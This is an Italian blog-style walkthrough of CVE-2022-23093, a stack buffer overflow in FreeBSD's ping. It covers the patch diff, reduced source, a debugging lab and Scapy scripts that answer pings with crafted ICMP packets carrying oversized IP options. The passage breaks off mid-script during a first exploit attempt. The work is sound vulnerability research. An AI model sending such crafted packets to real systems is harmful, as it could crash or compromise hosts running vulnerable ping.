Indice
ToggleIntroduzione
Nel mondo della cyber security capita di svegliarsi la mattina e trovarsi immersi tra le grida di manager e giornalisti che annunciano la fine del mondo digitale per come lo conosciamo a causa di una qualche vulnerabilità appena scoperta, ma presente da almeno 20 anni, che colpisce così tanti dispositivi da creare un allarmismo che nella peggiore delle ipotesi finisce sul telegiornale e dilaga anche tra i non addetti ai lavori. Beh, questo direi che riassume abbastanza bene quello che è successo tra novembre e dicembre 2022 con la CVE-2022-23093: una vulnerabilità di tipo stack-based buffer overflow presente nell'utility ping di FreeBSD.
Per qualche motivo questa vulnerabilità ha destato l'interesse della community e sono nate alcune interessanti discussioni sul canale Telegram di Pentesting Made Simple e sul canale Twitch di Rocco Sicilia. Purtroppo non ci sono articoli online che spieghino in dettaglio la vulnerabilità, quindi abbiamo deciso di farlo noi.
Di seguito analizzeremo la vulnerabilità e passo dopo passo cercheremo di dimostrare se e come è effettivamente sfruttabile.
CVE-2022-23093
A novembre 2022 FreeBSD ha pubblicato un Security Advisory in cui descrive una nuova vulnerabilità dell'utility ping registrata come CVE-2022-23093:
ping reads raw IP packets from the network to process responses in the
pr_pack() function. As part of processing a response ping has to
reconstruct the IP header, the ICMP header and if present a "quoted
packet," which represents the packet that generated an ICMP error. The
quoted packet again has an IP header and an ICMP header.
The pr_pack() copies received IP and ICMP headers into stack buffers
for further processing. In so doing, it fails to take into account the
possible presence of IP option headers following the IP header in
either the response or the quoted packet. When IP options are present,
pr_pack() overflows the destination buffer by up to 40 bytes.
Questa descrizione è piuttosto dettagliata e dà indicazioni molto chiare su:
- Natura del problema. Stack-based buffer overflow fino a 40 byte
- Funzione vulnerabile.
pr_pack()
- Operazione coinvolta. Copia dell'header IP
- Condizione necessaria. Presenza di IP Options all'interno dell'header IP
Con queste informazioni possiamo dare un'occhiata alle modifiche introdotte con la Patch, concentrandoci solamente su quelle che corrispondono alla descrizione:
--- sbin/ping/ping.c.orig
+++ sbin/ping/ping.c
@@ -1144,8 +1147,10 @@
struct icmp icp;
struct ip ip;
const u_char *icmp_data_raw;
+ ssize_t icmp_data_raw_len;
double triptime;
- int dupflag, hlen, i, j, recv_len;
+ int dupflag, i, j, recv_len;
+ uint8_t hlen;
uint16_t seq;
static int old_rrlen;
static char old_rr[MAX_IPOPTLEN];
@@ -1155,15 +1160,27 @@
const u_char *oicmp_raw;
/*
- * Get size of IP header of the received packet. The
- * information is contained in the lower four bits of the
- * first byte.
+ * Get size of IP header of the received packet.
+ * The header length is contained in the lower four bits of the first
+ * byte and represents the number of 4 byte octets the header takes up.
+ *
+ * The IHL minimum value is 5 (20 bytes) and its maximum value is 15
+ * (60 bytes).
*/
memcpy(&l, buf, sizeof(l));
hlen = (l & 0x0f) << 2;
- memcpy(&ip, buf, hlen);
- /* Check the IP header */
+ /* Reject IP packets with a short header */
+ if (hlen < sizeof(struct ip)) {
+ if (options & F_VERBOSE)
+ warn("IHL too short (%d bytes) from %s", hlen,
+ inet_ntoa(from->sin_addr));
+ return;
+ }
+
+ memcpy(&ip, buf, sizeof(struct ip));
+
+ /* Check packet has enough data to carry a valid ICMP header */
recv_len = cc;
if (cc < hlen + ICMP_MINLEN) {
if (options & F_VERBOSE)
Tra tutte le righe, queste sono quelle che sembrano corrispondere perfettamente alla descrizione:
struct ip ip;
// […]
/*
* Get size of IP header of the received packet. The
* information is contained in the lower four bits of the
* first byte.
*/
memcpy(&l, buf, sizeof(l));
hlen = (l & 0x0f) << 2;
memcpy(&ip, buf, hlen);
In queste righe vediamo la definizione della variabile ip
atta a contenere l'header IP. Dal commento sappiamo che buf
contiene il pacchetto IP i cui 4 bit meno significativi del primo byte rappresentano la dimensione dell'header IP e permettono una dimensione variabile da 20 byte (0x05 << 2 = 5 * 2²
, la dimensione minima di un header IP) fino a 60 byte (0x0f << 2 = 15 * 2²
). Dato che fanno parte del pacchetto, questi 4 bit sono sotto il controllo dell'attaccante. Una volta calcolata la dimensione dell'header IP in hlen
, questo viene utilizzato per stabilire quanti dati copiare da buf
dentro ip
. È chiaro quindi che se ip
non fosse sufficientemente capiente da memorizzare la quantità di dati specificata da hlen
si otterrebbe uno stack-based buffer overflow.
A questo punto abbiamo una vaga idea di come funzioni la vulnerabilità una volta entrati nella funzione pr_pack()
, ma in quali condizioni viene invocata?
Per capire questo dobbiamo analizzare il codice di ping
a partire dal main()
.
Analisi del codice
A prescindere che il programma che si sta analizzando sia semplice o complesso, è importante analizzarne il codice sorgente per capire a fondo il flusso di controllo e di dati; in altre parole bisogna comprendere quali dati controlliamo e come questi vengano manipolati prima di raggiungere il codice vulnerabile, o come i dati manipolino il flusso di controllo. Entrare o meno in un if
può fare un'enorme differenza in fase di exploiting.
A questo punto sento già alcuni di voi dire "non conosco il C abbastanza bene per capire tutto il codice" oppure "dovrei leggere centinaia o migliaia di righe di codice? non posso solo eseguire il programma e vedere che succede?", solo per fare degli esempi.
Il punto di tutta la questione è che non è necessario né leggere né capire tutto il codice per capire come funziona e come sfruttare una vulnerabilità. La parola chiave è semplificare.
Semplificare
Per prima cosa dobbiamo renderci conto con cosa abbiamo a che fare. L'utility ping
non compie troppe azioni, è piuttosto semplice, quindi ci possiamo aspettare un codice che complessivamente non avrà né troppi file né troppe righe di codice, ma verifichiamolo.
Possiamo vedere il codice sorgente scaricandolo direttamente dal repository SVN. Prenderemo come riferimento la versione 12.2 che è l'ultima che non implementa la patch di sicurezza. In questo modo avremo a disposizione già il codice vulnerabile senza dover fare modifiche al codice.
svn checkout https://svn.freebsd.org/base/releng/12.2/sbin/ping/ ./ping
A ping/tests
A ping/ping.c
A ping/Makefile.depend
A ping/Makefile.depend.options
A ping/Makefile
A ping/ping.8
A ping/tests/Makefile
A ping/tests/ping_c1_s56_t1.out
A ping/tests/ping_test.sh
A ping/tests/in_cksum_test.c
A ping/utils.c
A ping/utils.h
Checked out revision 373048.
Tolti i file di test (tests/*), le pagine di manuale (ping.8) e i file per la compilazione (Makefile*), come ci aspettavamo rimangono solamente tre file: utils.h, utils.c, ping.c per un totale di ~1500 SLOC (Source Line Of Code).
$ sloc utils.{c,h} ping.c
Language Files Code Comment Blank Total
Total 3 1515 296 186 1916
C 3 1515 296 186 1916
Il file utils.h definisce al suo interno il prototipo della sola funzione in_cksum()
:
#ifndef UTILS_H
#define UTILS_H 1
#include <sys/types.h>
u_short in_cksum(u_char *, int);
#endif
Dal nome possiamo intuire si tratti della funzione per il calcolo del checksum, quindi possiamo ignorare sia il file utils.h che il file utils.c che ne conterrà l'implementazione in quanto non rilevanti ai fini dell'analisi.
A questo punto possiamo concentrarci esclusivamente sul file ping.c che contiene l'intera logica del comando ping
. Al suo interno vengono definite queste funzioni:
static void fill(char *, char *);
static cap_channel_t *capdns_setup(void);
static void check_status(void);
static void finish(void) __dead2;
static void pinger(void);
static char *pr_addr(struct in_addr);
static char *pr_ntime(n_time);
static void pr_icmph(struct icmp *, struct ip *, const u_char *const);
static void pr_iph(struct ip *);
static void pr_pack(char *, ssize_t, struct sockaddr_in *, struct timespec *);
static void pr_retip(struct ip *, const u_char *);
static void status(int);
static void stopit(int);
static void usage(void) __dead2;
int main(int argc, char *const *argv);
Dalla descrizione della vulnerabilità sappiamo che la funzione pr_pack()
serve a processare il pacchetto ricevuto, quindi possiamo supporre che tutte le funzioni che iniziano con pr_
servano a processare una porzione specifica di un pacchetto e che la funzione pr_pack()
faccia da dispatcher smistando i byte del pacchetto alla funzione specifica. Questo significa che probabilmente il codice vulnerabile sarà raggiungibile senza passare per queste altre funzioni.
In modo simile possiamo supporre che:
-
capdns_setup()
serva per il setup delle capability per operazioni che hanno a che fare con il DNS. -
check_status()
estatus()
servano per controllare e stampare informazioni relativamente allo stato dell'esecuzione, mentrestopit()
efinish()
probabilmente serviranno a interrompere l'esecuzione una volta che lo stato ha raggiunto la condizione di terminazione. -
usage()
serva per stampare il menu di utilizzo del programma.
Fatta questa semplice operazione rimangono solamente le funzioni che sappiamo esserci utili (main()
e pr_pack()
), quelle con nomi troppo generici per sapere a priori se saranno utili o no (fill()
) ed eventuali altre funzioni su cui possiamo fare ipotesi, ma che è meglio analizzare perché probabilmente faranno parte del flusso di controllo (pinger()
):
static void fill(char *, char *);
static void pinger(void);
static void pr_pack(char *, ssize_t, struct sockaddr_in *, struct timespec *);
int main(int argc, char *const *argv);
Fatto questo possiamo fare una copia del file ping.c e aprirla con un editor avanzato come VSCode che ci aiuterà a capire cosa è utile e cosa no.
Proseguiamo a ritroso
Arrivati a questo punto la cosa migliore da fare è partire dalla fine a ritroso verso l'inizio. Nel nostro caso specifico dalla funzione pr_pack()
verso il main()
. In questo modo siamo sicuri di analizzare esclusivamente il codice strettamente necessario per raggiungere il codice vulnerabile e niente di più.
Per prima cosa, quindi, scorriamo verso la funzione pr_pack()
e cancelliamo per il momento tutto ciò che si trova al di sotto del codice vulnerabile e tutto ciò che è al di sopra e che non incide sul flusso di dati o di controllo. Questo significa che l'intera funzione pr_pack()
passa da ~300 righe di codice a questo:
static void
pr_pack(char *buf, ssize_t cc, struct sockaddr_in *from, struct timespec *tv)
{
u_char l;
struct ip ip;
int hlen;
memcpy(&l, buf, sizeof(l));
hlen = (l & 0x0f) << 2;
memcpy(&ip, buf, hlen);
}
Questo ci permette di dire che ci è sufficiente che venga invocata la funzione pr_pack()
affinché possiamo raggiungere il codice vulnerabile e non dobbiamo preoccuparci di condizioni, modifiche di dati o altre situazioni che possono rendere più complessa l'analisi e l'exploit.
Il passo successivo è individuare tutti i punti nel codice in cui viene invocata la funzione pr_pack()
. Una semplice ricerca del nome della funzione è sufficiente, oppure facendo CTRL+click sul nome della funzione su VSCode sarà l'editor stesso a segnalarci tutti i riferimenti alla funzione.
Nel nostro caso specifico la funzione viene invocata una sola volta all'interno della funzione main()
alla riga 958 per un totale di ~700 righe di codice da analizzare, quindi già la metà di quelle totali.
int main(int argc, char *const *argv) {
pr_pack((char *)packet, cc, &from, tv);
A questo punto consideriamo che quando useremo ping lanceremo il comando ping -c 1 <target ip>
per limitare a 1 il numero di pacchetti ICMP echo-request inviati. Questa informazione ci serve perché ora partiremo dall'inizio della funzione main()
e cancelleremo tutto ciò che non è direttamente collegato all'invocazione della funzione pr_pack()
; questo significa cancellare tutto il codice che viene utilizzato quando si lancia il comando con altri flag (a parte -c 1
), la gestione degli errori (supponiamo di non avere mai errori) e l'utilizzo di tutte quelle variabili che non sono sotto il nostro controllo o che non vengono utilizzate durante l'invocazione della funzione vulnerabile.
Il risultato che proponiamo è il seguente:
int
main(int argc, char *const *argv)
{
struct sockaddr_in from, sock_in;
struct timespec last, intvl;
struct iovec iov;
struct msghdr msg;
char *ep, *source, *target, *payload;
struct sockaddr_in *to;
u_long alarmtimeout;
long ltmp;
int almost_done, ch, df, hold, i, icmp_len, mib[4], preload;
int ssend_errno, srecv_errno, tos, ttl;
char ctrl[CMSG_SPACE(sizeof(struct timespec))];
payload = source = NULL;
cap_rights_t rights;
bool cansandbox;
options |= F_NUMERIC;
ssend = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
srecv = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
alarmtimeout = df = preload = tos = 0;
outpack = outpackhdr + sizeof(struct ip);
while ((ch = getopt(argc, argv, "Aac:DdfG:g:h:I:i:Ll:M:m:nop:QqRrS:s:T:t:vW:z:")) != -1)
{
switch(ch) {
case 'c':
ltmp = strtol(optarg, &ep, 0);
npackets = ltmp;
break;
}
}
target = argv[optind];
icmp_len = sizeof(struct ip) + ICMP_MINLEN + phdr_len;
send_len = icmp_len + datalen;
datap = &outpack[ICMP_MINLEN + phdr_len + TIMEVAL_LEN];
bzero(&whereto, sizeof(whereto));
to = &whereto;
to->sin_family = AF_INET;
to->sin_len = sizeof *to;
if (inet_aton(target, &to->sin_addr) != 0) {
hostname = target;
}
/* From now on we will use only reverse DNS lookups. */
if (connect(ssend, (struct sockaddr *)&whereto, sizeof(whereto)) != 0)
err(1, "connect");
if (!(options & F_PINGFILLED))
for (i = TIMEVAL_LEN; i < datalen; ++i)
*datap++ = i;
ident = getpid() & 0xFFFF;
hold = 1;
if (options & F_NUMERIC)
cansandbox = true;
hold = IP_MAXPACKET + 128;
(void)setsockopt(srecv, SOL_SOCKET, SO_RCVBUF, (char *)&hold, sizeof(hold));
if (uid == 0)
(void)setsockopt(ssend, SOL_SOCKET, SO_SNDBUF, (char *)&hold, sizeof(hold));
if (to->sin_family == AF_INET) {
(void)printf("PING %s (%s)", hostname, inet_ntoa(to->sin_addr));
(void)printf(": %d data bytes\n", datalen);
}
bzero(&msg, sizeof(msg));
msg.msg_name = (caddr_t)&from;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
#ifdef SO_TIMESTAMP
msg.msg_control = (caddr_t)ctrl;
msg.msg_controllen = sizeof(ctrl);
#endif
iov.iov_base = packet;
iov.iov_len = IP_MAXPACKET;
if (preload == 0)
pinger(); /* send the first ping */
(void)clock_gettime(CLOCK_MONOTONIC, &last);
intvl.tv_sec = interval / 1000;
intvl.tv_nsec = interval % 1000 * 1000000;
almost_done = 0;
while (!finish_up) {
struct timespec now, timeout;
fd_set rfds;
int n;
ssize_t cc;
FD_ZERO(&rfds);
FD_SET(srecv, &rfds);
(void)clock_gettime(CLOCK_MONOTONIC, &now);
timespecadd(&last, &intvl, &timeout);
timespecsub(&timeout, &now, &timeout);
if (timeout.tv_sec < 0)
timespecclear(&timeout);
n = pselect(srecv + 1, &rfds, NULL, NULL, &timeout, NULL);
if (n == 1) {
struct timespec *tv = NULL;
msg.msg_namelen = sizeof(from);
cc = recvmsg(srecv, &msg, 0);
if (tv == NULL) {
(void)clock_gettime(CLOCK_MONOTONIC, &now);
tv = &now;
}
pr_pack((char *)packet, cc, &from, tv);
}
}
}
Un totale di poco più di 100 righe di codice a fronte delle più di 1500 iniziali!
Come raggiungiamo la funzione vulnerabile?
A questo punto dovremmo già avere un'idea ad alto livello del workflow del comando, ma volendo semplificare ancora di più possiamo riassumerlo così:
- Definizione e inizializzazione di alcune variabili
- Creazione di due socket raw, una per inviare i pacchetti ICMP, l'altra per riceverli
- Parsing degli argomenti a riga di comando e inizializzazione delle relative variabili
- Inizializzazione dei dati necessari a inviare un pacchetto ICMP echo-request verso il target specificato
- Preparazione delle socket alla ricezione e all'invio di dati e invio del primo pacchetto ICMP echo-request (funzione
pinger()
) - Ricezione del pacchetto di risposta ICMP (echo-reply, host unreachable, …)
- Calcolo dei tempi di risposta
- Analisi della risposta e stampa a schermo dei risultati tramite la funzione
pr_pack()
Quindi ora sappiamo che per sfruttare la CVE-2022-23093 dobbiamo:
- Lanciare il comando ping dalla macchina vittima verso la macchina attaccante
- Intercettare il pacchetto ICMP echo-request dalla macchina attaccante e rispondere con un qualunque pacchetto ICMP di risposta che contenga delle IP Option (come suggerito dalla descrizione della vulnerabilità)
A questo punto procediamo con il setup dell'ambiente per debuggare il codice e provare a creare un exploit funzionante.
Setup dell'ambiente di test
Se state pensando "FreeBSD è Posix-compliant, quindi posso scaricare ping su Linux e testare tutto comodamente in locale"... la risposta è no. Purtroppo essere Posix-compliant significa semplicemente che alcune API standard sono implementate, il che rende più semplice il porting da un altro sistema unix compliant allo standard Posix. FreeBSD supporta (con alcune limitazioni) le applicazioni Linux, ma non è vero il viceversa quindi nei passaggi successivi andremo a realizzare un ambiente di test nella maniera più semplice possibile.
Creazione di una VM FreeBSD
L'ultima versione di FreeBSD che non implementa la patch è la 12.2, quindi possiamo scaricare quella versione ed avere già il binario di ping vulnerabile. Tuttavia, dato che la vulnerabilità è dell'utility ping e non è correlata alla versione dell'OS, possiamo anche scaricare una versione diversa in cui andremo a ricompilare la versione vulnerabile di ping (dovremo farlo lo stesso a prescindere dalla versione). Per questo motivo e considerando che le versioni non più supportate potrebbero avere problemi durante l'installazione dei pacchetti a causa di repository non più manutenuti, abbiamo deciso di utilizzare la versione 12.4 per l'analisi che è l'ultima versione 12.x ancora supportata.
È possibile scaricare le ISO direttamente dal sito ufficiale di FreeBSD nella sezione download. Per ogni versione possiamo trovare la ISO in vari formati (e dimensioni). Noi abbiamo scelto di scaricare la versione bootonly
in quanto la più piccola di dimensione così da poter installare solo il necessario.
Per semplicità di seguito i comandi per scaricare ed estrarre la versione 12.4 bootonly:
wget https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/12.4/FreeBSD-12.4-RELEASE-amd64-bootonly.iso.xz
xz -d FreeBSD-12.4-RELEASE-amd64-bootonly.iso.xz
- FreeBSD 12.4 ISO: https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/12.4/
- Maggiori informazioni sui vari formati disponibili: https://www.freebsd.org/where/
- Guida completa all'installazione: https://docs.freebsd.org/en/books/handbook/bsdinstall/
Ora che abbiamo la ISO possiamo utilizzare il nostro sistema di virtualizzazione preferito per creare una VM su cui installare il sistema operativo.
Si, lo so che abbiamo detto che sono pochi file per un totale di <350KB, ma capiremo tra pochissimo perché ci serve tutto questo spazio.
Seguite l'installazione guidata selezionando le opzioni di default, ma avendo l'accortezza di:
- Quando richiesto selezionare il pacchetto di debug base e deselezionare tutti gli altri
- Quando richiesto abilitare SSH per l'accesso da remoto
- Al termine dell'installazione abilitare l'accesso da remoto anche all'utente root aggiungendo
PermitRootLogin yes
nel file /etc/ssh/sshd_config (potete utilizzare l'editor preinstallatovi
)
Durante l'installazione vi verrà anche chiesto se aggiungere altri account oltre quello root. Durante le analisi utilizzeremo solamente l'utente root, quindi non è necessario.
Download dei sorgenti di ping
Possiamo scaricare i sorgenti di ping direttamente da SVN, dal codice dell'OS. Potremmo scaricare il codice della versione 12.4 (concorde all'OS), ma poi dovremmo andare a trovare il commit che risolve la vulnerabilità e tornare al commit precedente. Per semplificare le cose scarichiamo la versione di ping relativa a FreeBSD 12.2 che è vulnerabile anche all'ultima versione.
svnlite checkout https://svn.freebsd.org/base/releng/12.2/ /usr/src/
A questo punto ci si potrebbe chiedere perché non scaricare esclusivamente i sorgenti di ping invece dell'intera codebase per un totale di ~15GB (motivo per cui si richiedeva una VM con almeno 20GB di spazio disco). Il motivo è che il Makefile di ping include un altro Makefile che a sua volta ne include altri 2 e così via. Chiaramente si può ricostruire la catena di dipendenze e scaricare solamente il necessario, ma allo spazio abbiamo preferito il tempo.
Ora che abbiamo scaricato i sorgenti possiamo ricompilare e installare la versione vulnerabile di ping:
cd /usr/src/sbin/ping/
make
make install
-O0
perché disabilitando le ottimizzazioni potremmo variare il comportamento a basso livello del programma. Ad esempio la sezione entro cui vengono salvate alcune variabili, la gestione dello stack, ecc. Solo nel caso il codice assembly differisca molto dal codice sorgente allora potremo disabilitare temporaneamente le ottimizzazioni per poter comprendere meglio il codice.-g
per aggiungere i simboli di debug, ma questo flag è già aggiunto da uno dei Makefile della catena di dipendenze, quindi non è necessario aggiungerlo di nuovo.Debugging del codice
Per qualche strano motivo pkg
(il package manager di FreeBSD) non è installato di default, quindi per prima cosa dobbiamo installarlo. Per farlo basta solamente tentare di lanciarlo:
pkg
The package management tool is not yet installed on your system.
Do you want to fetch and install it now? [y/N]: y
Bootstrapping pkg from pkg+http://pkg.FreeBSD.org/FreeBSD:12:amd64/quarterly, please wait...
Verifying signature with trusted certificate pkg.freebsd.org.2013102301... done
Installing pkg-1.19.1_1...
Extracting pkg-1.19.1_1: 100%
pkg: not enough arguments
Usage: pkg [-v] [-d] [-l] [-N] [-j <jail name or id>|-c <chroot path>|-r <rootdir>] [-C <configuration file>] [-R <repo config dir>] [-o var=value] [-4|-6] <command> [<args>]
For more information on available commands and options see 'pkg help'.
A questo punto abbiamo bisogno dei tool necessari per debuggare il binario ping. GDB potrebbe essere necessario, ma non è sicuramente il programma più semplice da utilizzare. Per semplificarne l'utilizzo potete installare alcuni script come GDB dashboard oppure GEF. Entrambi sono una scelta valida, ma mentre GDB dashboard è pensato solamente per semplificare l'uso di GDB, GEF implementa anche alcune shortcut che sono molto utili in fase di exploit/reverse engineering come ad esempio i comandi hexdump e checksec.
Noi abbiamo scelto GEF, ma di seguito riportiamo i comandi necessari per installare anche GDB dashboard:
# mandatory
pkg install gdb
# To use GDB dashboard (optional)
pkg install py39-pip
pip install pygments
pkg install wget
wget -P ~ https://git.io/.gdbinit
# To use GEF (optional)
pkg install wget
wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit
ln -s /usr/local/bin/python3.9 /usr/local/bin/python3
default:\
:charset=UTF-8:\
:lang=en_US.UTF-8:\
:setenv=LC_COLLATE=C:\
Poi applicate le modifiche utilizzando il comando:cap_mkdb /etc/login.conf
Fate il logout e di nuovo il login per vedere le modifiche.Wireshark
Per meglio analizzare i pacchetti che vengono inviati e ricevuti dal sistema vogliamo utilizzare Wireshark.
Qui molti penseranno di installare un server grafico X11 per avviare l'interfaccia di Wireshark direttamente da FreeBSD, altri penseranno a fare X-Forwarding via SSH. Tutte soluzioni valide, ma quello che proponiamo è di utilizzare una funzionalità già prevista da Wireshark, cioè l'SSH remote capture (sshdump). Approfondendo questa tecnica dalla documentazione è specificato essere l'equivalente di fare:
ssh remoteuser@remotehost -p 22222 'tcpdump -U -i IFACE -w -' > FILE &
wireshark FILE
Per poter usare questa tecnica basta utilizzare la GUI di wireshark configurando hostname, username, password, interfaccia di ascolto sull'host remoto, ecc.
Come filtro per la cattura si può utilizzare semplicemente icmp
.
PasswordAuthentication yes
e riavviare il servizio con /etc/rc.d/sshd restart
. Alternativamente si può inserire la propria chiave pubblica nel file ~/.ssh/authorized_keys e utilizzare l'autenticazione tramite chiave.ICMP e Scapy
Per realizzare una PoC per la CVE-2022-23093 abbiamo bisogno di intercettare i pacchetti ICMP echo-request inviati dalla macchina vittima utilizzando ping e rispondere con dei pacchetti creati ad-hoc. Per fare questo, la miglior scelta in termini di semplicità d'uso e flessibilità è la libreria python Scapy.
Installiamo come root Scapy e avviamolo in modalità REPL (Read Evaluate Print Loop):
pip install scapy
scapy -H
Welcome to Scapy (2.5.0)
>>>
Ricevere i pacchetti ICMP
Iniziamo un passo per volta cercando prima di tutto di intercettare e stampare 2 pacchetti ICMP (richiesta e risposta):
>>> sniff(filter="icmp", prn=lambda x: x.show(), count=2)
Incontriamo subito una difficoltà perché non riceviamo nessun pacchetto. Una breve ricerca sulla documentazione ufficiale ci mostra che di default Scapy ascolta sull'interfaccia eth0
, mentre noi utilizzando VMWare stiamo utilizzando un'interfaccia del tipo vmnetN
(con N un numero).
>>> sniff(filter="icmp", prn=lambda x: x.show(), count=2, iface="vmnet8")
In questo modo riceviamo immediatamente il pacchetto e ci vengono stampati a schermo tutti i dettagli della ICMP echo-request e la relativa risposta:
###[ Ethernet ]###
dst = ██:██:██:██:██:██
src = ██:██:██:██:██:██
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 84
id = 49344
flags =
frag = 0
ttl = 64
proto = icmp
chksum = 0x7b27
src = 172.16.115.159
dst = 172.16.115.1
\options \
###[ ICMP ]###
type = echo-request
code = 0
chksum = 0xab87
id = 0x511
seq = 0x0
unused = ''
###[ Raw ]###
load = '\x00\x00ǂ7\']\\xba\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
###[ Ethernet ]###
dst = ██:██:██:██:██:██
src = ██:██:██:██:██:██
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 84
id = 51476
flags =
frag = 0
ttl = 64
proto = icmp
chksum = 0x72d3
src = 172.16.115.1
dst = 172.16.115.159
\options \
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xb387
id = 0x511
seq = 0x0
unused = ''
###[ Raw ]###
load = '\x00\x00ǂ7\']\\xba\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
Dato che a noi interessa ricevere solamente i pacchetti echo-request filtriamo tutto il restante traffico:
>>> sniff(filter="icmp and icmp[icmptype] == icmp-echo", prn=lambda x: x.show(), count=2, iface="vmnet8")
Inviare pacchetti ICMP echo-reply
A questo punto chiudiamo la console REPL e apriamo un editor di testo come VSCode e creiamo uno script python che implementi una funzione che, ricevuto un pacchetto ICMP echo-request, costruisca il pacchetto di risposta legittimo e lo invii.
#!/usr/bin/env python
from scapy.all import *
def reply_ping(packet):
eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
ip = IP(src=packet["IP"].dst, dst=packet["IP"].src)
icmp = ICMP(type=0, id=packet['ICMP'].id, seq=packet['ICMP'].seq)
# https://stackoverflow.com/a/70779477/3549503
#
# Turns out when Linux is responsible for ICMP, it includes a nice little data payload,
# without adding this payload to the reply, Linux must think that there was an error
# or malformation of packet.
#data = Raw(load=packet["Raw"].load)
#icmp_reply = eth/ip/icmp/data
icmp_reply = eth/ip/icmp/(b"A"*40)
sendp(icmp_reply, iface="vmnet8")
sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)
Avviando lo script ed eseguendo un ping si registra su Wireshark un pacchetto ICMP echo-request e due ICMP echo-reply, mentre ping vede una sola risposta.
Questo avviene perché la prima risposta è inviata dal kernel, la seconda dal nostro script. La prima risposta è quella effettivamente ricevuta da ping, mentre la seconda viene scartata. Per fare in modo che il nostro script abbia la meglio dobbiamo disabilitare la risposta del kernel alle richieste ICMP. Per fare questo si può utilizzare il comando:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
Eseguendo di nuovo il ping, infatti, vediamo che in questo caso la risposta ricevuta è una soltanto ed è quella inviata dallo script.
Inviare pacchetti ICMP Host Unreachable
In modo del tutto simile possiamo modificare lo script affinché risponda con un pacchetto ICMP host unreachable che includa anche il "quoted packet", cioè il pacchetto ICMP echo-request che ha generato l'errore.
#!/usr/bin/env python
from scapy.all import *
def reply_ping(packet):
eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
ip = IP(src=packet["IP"].dst, dst=packet["IP"].src)
icmp = ICMP(type=3, code=1) # Type: 3 (Destination unreachable), Code: 1 (Host unreachable)
quoted_packet = packet["IP"]/packet["ICMP"]
icmp_reply = eth/ip/icmp/quoted_packet
sendp(icmp_reply, iface="vmnet8")
sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)
Avviando lo script e poi eseguendo un ping si riceve questo output:
Vr HL TOS Len ID Flg off TTL Pro cks Src Dst
4 5 00 0054 c0cc 0 0000 40 01 7b1b 172.16.115.159 172.16.115.1
Questa parte dell'output deriva direttamente dalla chiamata alla funzione pr_pack()
. Se non si inserisce il quoted packet o se si inseriscono dei dati che rendono il pacchetto malformato allora ping non rileverà correttamente l'errore e non verrà invocata la funzione vulnerabile quindi non sarà possibile triggherare la vulnerabilità.Se il pacchetto è malformato, allora non ci sarà nessun output e il programma semplicemente terminerà allo scadere del timeout.
Capire l'overflow, il pezzo mancante
Diamo di nuovo un'occhiata al codice vulnerabile che si trova all'inizio della funzione pr_pack()
per capire a pieno la CVE-2022-23093:
/*
* Get size of IP header of the received packet. The
* information is contained in the lower four bits of the
* first byte.
*/
memcpy(&l, buf, sizeof(l));
hlen = (l & 0x0f) << 2;
memcpy(&ip, buf, hlen);
La vulnerabilità risiede nel fatto che hlen
(la lunghezza dell'header IP) viene calcolata a partire da un input utente, cioè a partire dai 4 bit meno significativi del primo byte. Normalmente il primo byte dell'header IP è sempre 0x45 (il carattere "E" in ASCII). Questo corrisponde a:
- IP versione 4 (0x40)
- 0x5 rappresenta la lunghezza in byte dell'header IP, calcolata come
0x5 << 2 = 5 * 2² = 20
.
La cosa importante per comprendere a pieno questa vulnerabilità è che se stampiamo la dimensione della struttura dati che contiene l'header IP otteniamo un valore interessante:
p sizeof(struct ip)
$2 = 0x14
Quindi la struttura dati ip
è grande esattamente 20 byte (0x14). Osservando il calcolo di hlen
ci accorgiamo subito del problema, cioè che nonostante la struttura dati sia grande solamente 20 byte, il valore massimo possibile per la dimensione dell'header IP è 60 byte (0xf << 2 = 15 * 2²
).
Dato che con Scapy possiamo manipolare un pacchetto senza troppi problemi, questo significa che se sostituissimo al primo byte del pacchetto (0x45) il valore (0x4f), allora il calcolo di hlen
darebbe come risultato 60, ma la struttura dati dentro cui vengono copiati i dati è grande solo 20 byte, quindi avremo un overflow di 40 byte (come anticipato dalla descrizione ufficiale della vulnerabilità).
Le "Options" dell'header IP
I 40 byte in esubero vengono copiati dai byte subito successivi ai primi 20 byte dell'header IP, ma subito dopo l'header IP inizia l'header ICMP che non possiamo omettere o manipolare perché altrimenti avremmo un pacchetto malformato che non raggiungerebbe la funzione vulnerabile.
Come risolvere quindi? Con le Options dell'header IP.
By Michel Bakni - Postel, J. (September 1981) RFC 791, Internet Protocol, DARPA Internet Program Protocol Specification, The Internet Society, p.& 11 DOI: 10.17487/RFC0791., CC BY-SA 4.0, Link
Le Options sono dei campi opzionali dell'header IP generalmente utilizzate a scopo di debug e vengono aggiunte direttamente alla fine dell'header IP e prima di quello ICMP. Seguono il formato: valore + lunghezza + dati (laddove sono previsti dei dati, altrimenti solamente il valore).
Tentativo 1: Options non esistenti
Il nostro obiettivo è quello di utilizzare un payload arbitrario, quindi il primo tentativo che abbiamo fatto è stato quello di utilizzare un valore di Options non esistente (0x41), una lunghezza di 40 byte (0x28) e una sequenza di 38 caratteri "A" (0x41). Il codice risultante è il seguente:
#!/usr/bin/env python
from scapy.all import *
def reply_ping(packet):
payload = [
IPOption(b'\x41\x28' + 38 * b'\x41'),
]
eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
